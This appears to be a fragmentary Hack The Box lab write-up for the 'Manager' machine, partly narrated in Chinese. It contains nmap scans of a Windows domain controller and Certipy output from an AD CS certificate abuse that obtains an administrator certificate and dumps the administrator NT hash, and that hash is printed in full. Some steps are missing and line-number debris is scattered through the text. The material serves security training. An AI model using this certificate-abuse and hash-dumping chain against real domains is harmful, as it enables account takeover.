{} manager nmap -p- --min-rate 10000 10.10.11.236 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT Nmap scan report for manager.htb (10.10.11.236) Host is up (0.27s latency). Not shown: 65513 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49671/tcp open unknown 49727/tcp open unknown 51977/tcp open unknown 52689/tcp open unknown
root@kali ~/hackthebox/machine/manager ☺ nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -sCV 10.10.11.236 system: ruby 3.1.2p20 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT Nmap scan report for manager.htb (10.10.11.236) Host is up (0.30s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Manager 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-17 13:07:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-17T13:08:39+00:00; +33s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.236:1433: | Target_Name: MANAGER | NetBIOS_Domain_Name: MANAGER | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: manager.htb | DNS_Computer_Name: dc01.manager.htb | DNS_Tree_Name: manager.htb |_ Product_Version: 10.0.17763 |_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-03-17T11:45:12 |_Not valid after: 2054-03-17T11:45:12 | ms-sql-info: | 10.10.11.236:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 |_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 103.17 seconds
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing.
[*] Requesting certificate via RPC [-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate. [*] Request ID is 15 Would you like to save the private key? (y/N) y [*] Saved private key to 15.key [-] Failed to request certificate
[*] Rerieving certificate with ID 15 [*] Successfully retrieved certificate [*] Got certificate with UPN 'administrator@manager.htb' [*] Certificate has no object SID [*] Loaded private key from '15.key' [*] Saved certificate and private key to 'administrator.pfx'
有了管理员的PFX文件，现在可以利用它进行身份验证。在运行auth命令时，遇到错误”KRB_AP_ERR_SKEW (Clock skew too great)”。
1 2 3 4 5 6
certipy-ad auth -pfx administrator.pfx Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Using principal: administrator@manager.htb [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
为此，需要禁用机器设置中的”Automatic Date & Time”设置，并运行以下命令来同步时钟:
1
ntpdate -s manager.htb
再次运行该命令将成功转储admin hash
1 2 3 4 5 6 7 8 9
{} manager certipy-ad auth -pfx administrator.pfx Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
